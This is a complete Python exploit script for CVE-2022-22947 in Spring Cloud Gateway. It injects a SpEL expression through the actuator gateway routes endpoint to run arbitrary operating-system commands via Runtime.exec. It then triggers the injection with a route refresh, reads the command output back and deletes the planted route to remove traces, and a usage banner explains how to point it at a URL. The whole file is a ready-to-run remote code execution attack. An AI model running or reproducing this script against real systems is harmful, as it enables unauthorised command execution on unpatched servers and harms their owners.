import random
import string
import requests
import json
import sys
import urllib.parse
import base64

headers = {"Content-Type": "application/json",
           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',
           'Accept': '*/*'}

id = ''.join(random.choice(string.ascii_lowercase) for i in range(8))


def exploit(url, command):
    payload = {"id": id, "filters": [{"name": "AddResponseHeader", "args": {"name": "Result",
                                                                            "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\u0022" + command + "\u0022).getInputStream()))}"}}],
               "uri": "http://example.com"}

    if url.endswith('/'):
        url = url.rstrip('/')
    rbase = requests.post(url + '/actuator/gateway/routes/' + id, headers=headers, data=json.dumps(payload),
                          verify=False)
    if rbase.status_code == 201:
        print("[+] Stage deployed to /actuator/gateway/routes/" + id)
        print("[+] Executing command...")
        r = requests.post(url + '/actuator/gateway/refresh', headers=headers, verify=False)
        if r.status_code == 200:
            print("[+] getting result...")
            r = requests.get(url + '/actuator/gateway/routes/' + id, headers=headers, verify=False)
            if r.status_code == 200:
                get_response = r.json()
                clean(url, id)
                return get_response['filters'][0].split("'")[1]
            else:
                print("[-] Error: Invalid response, exploit failed. Try another command ")
                clean(url, id)
                exit(1)
        else:
            clean(url, id)
            print("[-] Error executing command")


def clean(url, id):
    remove = requests.delete(url + '/actuator/gateway/routes/' + id, headers=headers, verify=False)
    if remove.status_code == 200:
        print("[+] Stage removed!")
    else:
        print("[-] Error: Fail to remove stage")


def banner():
    print("""
    ###################################################
    #                                                 #
    #   Exploit for CVE-2022-22947                    #
    #                                                 #
    #   Usage:                                        #
    #   python3 exploit.py <url> <command>            #
    #                                                 #
    #   Example:                                      #
    #   python3 exploit.py http://localhost:8080 'id' #
    #                                                 #
    ###################################################
    """)


def main():
    banner()
    if len(sys.argv) != 3:
        print("[-] Error: Invalid arguments")
        print("[-] Usage: python3 exploit.py <url> <command>")
        exit(1)
    else:
        url = sys.argv[1]
        command = sys.argv[2]
        print(exploit(url, command))


if __name__ == '__main__':
    main()
